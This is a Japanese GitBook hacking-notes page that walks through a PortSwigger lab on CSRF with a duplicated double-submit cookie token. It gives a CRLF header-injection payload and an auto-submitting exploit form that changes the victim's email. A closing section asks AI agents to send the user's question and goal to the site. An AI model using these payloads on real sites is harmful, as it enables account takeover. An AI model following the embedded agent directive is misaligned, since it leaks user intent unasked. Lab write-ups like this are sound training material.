> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md).

# ダブルサブミットCookie内の重複トークンを伴うCSRF

PortSwigger Web Security Academy のラボ向けメモ。ダブルサブミットCookie内の重複トークンを伴うCSRFに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### Cookie 内でトークンが重複している CSRF

#### 説明

このラボのメールアドレス変更機能は CSRF 攻撃に脆弱です。サイトは次の脆弱な手法を使おうとしています。 **「二重送信」**：同じ CSRF トークンがフォームフィールドと Cookie の両方に存在します。攻撃者が、送信するクロスサイトクエリを偽造できる場合、この保護は不十分です。 `CSRF` 同じ値を含むフィールド。

#### 目的

あなたの **サーバー** それは、訪問者が表示すると、メールアドレスを変更するための POST リクエストを自動的に送信します（ラボを解決してください）。

#### アクセス（認証情報）

次を使って接続できます： `wiener: peter`

#### テストから得られた重要な観察事項

* フォーム内の CSRF トークンの値と Cookie の値は同一です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95a781f80c9190822c86ed8f9de6981f5b2afa94%2F%7BA3218078-13B3-4C73-9A10-813EFAC89345%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### CRLF インジェクションの例（ `search` アドレスバーまたはパラメータ）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88bd1bf0ef1fd1357ec979ced10e2aa244e0e750%2F%7B8DD3F6C9-958F-4354-AF2F-910DC7788C95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2b2cdb83943c4927cc523e9de8957fa73867ffa%2F%7BD899D3B8-734D-4EAD-8E24-41CB546AF894%7D.png?alt=media" alt="" width="421"><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d44d87176ed2e282f37340bcad56702b40ef884%2F%7BC1986027-DA73-4D03-B999-244597E18743%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Cookie をクロスサイトのコンテキストで送信させるには、次を設定すると便利です `SameSite=None` を Cookie に

```
hello Set-Cookie: csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO; SameSite=none

hello%0d%0aSet-Cookie:%20csrfKey%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone
```

#### エクスプロイト サーバーに配置するためのエクスプロイト HTML

これは、CSRF トークンの値を `CSRF` フィールドに入れ、対象のメールアドレスを定義し、画像クエリを利用してフォームを自動送信するページの例です（これにより検索経由で Cookie の書き込みが試みられます）：

```html
<form class="login-form" name="change-email-form" action="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO">
</form>

<img  src="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrf%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
